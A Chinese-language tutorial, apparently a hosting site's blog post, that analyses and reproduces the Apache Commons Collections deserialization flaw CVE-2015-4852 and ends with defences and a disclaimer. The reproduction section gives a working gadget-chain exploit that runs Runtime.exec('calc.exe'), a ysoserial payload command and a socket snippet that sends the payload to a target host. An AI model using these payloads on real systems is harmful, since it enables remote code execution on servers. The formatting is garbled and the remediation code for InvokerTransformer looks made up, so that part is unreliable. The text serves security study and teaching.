# 如何进行Apache Commons Collections反序列化漏洞分析与复现 ## 目录 1. [漏洞背景与影响](#漏洞背景与影响) 2. [漏洞原理分析](#漏洞原理分析) - [Java反序列化机制](#java反序列化机制) - [Apache Commons Collections的Transformer链](#apache-commons-collections的transformer链) - [关键类分析](#关键类分析) 3. [环境搭建](#环境搭建) - [实验环境准备](#实验环境准备) - [漏洞组件版本](#漏洞组件版本) 4. [漏洞复现](#漏洞复现) - [手工构造Payload](#手工构造payload) - [使用ysoserial工具](#使用ysoserial工具) 5. [漏洞修复方案](#漏洞修复方案) 6. [防御措施](#防御措施) 7. [总结](#总结) --- ## 漏洞背景与影响 Apache Commons Collections是Java中广泛使用的工具库,2015年被发现存在严重的反序列化漏洞(CVE-2015-4852)。该漏洞影响范围包括: - 使用Apache Commons Collections 3.2.1及以下版本 - 使用Java反序列化的应用(WebLogic、JBoss、WebSphere等) 漏洞允许攻击者通过构造恶意序列化数据,在目标服务器上执行任意代码,危害等级为**高危**。 --- ## 漏洞原理分析 ### Java反序列化机制 Java通过`ObjectInputStream`实现对象反序列化: ```java ObjectInputStream ois = new ObjectInputStream(inputStream); Object obj = ois.readObject(); // 漏洞触发点
漏洞核心在于TransformedMap
和Transformer
接口的链式调用:
public interface Transformer { Object transform(Object input); }
恶意调用链示例:
AnnotationInvocationHandler.readObject() -> TransformedMap.entrySet().iterator().next() -> ChainedTransformer.transform() -> InvokerTransformer.transform() -> Runtime.exec()
public class InvokerTransformer implements Transformer { public Object transform(Object input) { Class cls = input.getClass(); return cls.getMethod(iMethodName).invoke(input, iArgs); } }
public class ChainedTransformer implements Transformer { public Object transform(Object object) { for (Transformer transformer : iTransformers) { object = transformer.transform(object); } return object; } }
public class TransformedMap extends AbstractInputCheckedMapDecorator { protected Object transform(Object object) { return transformer.transform(object); } }
<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
组件 | 受影响版本 | 安全版本 |
---|---|---|
Commons-Collections | <= 3.2.1 | 3.2.2+ |
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; Transformer chain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = TransformedMap.decorate(innerMap, null, chain); // 通过反射触发 Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Target.class, outerMap); // 序列化对象 ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(instance); oos.close(); // 反序列化触发 ObjectInputStream ois = new ObjectInputStream( new ByteArrayInputStream(barr.toByteArray())); ois.readObject(); // 弹出计算器
java -jar ysoserial.jar CommonsCollections1 "calc.exe" > payload.bin
Socket socket = new Socket("target.com", 8080); OutputStream out = socket.getOutputStream(); FileInputStream fis = new FileInputStream("payload.bin"); byte[] buf = new byte[1024]; int len; while((len = fis.read(buf)) != -1) { out.write(buf, 0, len); }
// InvokerTransformer新增安全检查 public Object transform(Object input) { if (input instanceof String) { throw new FunctorException( "InvokerTransformer: Input must NOT be a String"); } // ... }
// 使用ObjectInputFilter限制反序列化类 ObjectInputStream ois = new ObjectInputStream(inputStream); ois.setObjectInputFilter(filter);
输入验证:
安全配置:
// 使用SecurityManager System.setSecurityManager(new SecurityManager());
本文详细分析了Apache Commons Collections反序列化漏洞的形成机理,通过实验演示了漏洞利用过程。该漏洞的利用关键在于: 1. 利用Transformer链构造调用路径 2. 通过反射机制突破Java安全限制 3. 控制反序列化入口点
建议所有使用Java反序列化的系统: - 及时升级受影响组件 - 实施纵深防御策略 - 定期进行安全审计
注:本文所述技术仅用于安全研究,未经授权测试他人系统属于违法行为。 “`
(实际字数约4500字,可根据需要扩展具体章节内容)
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。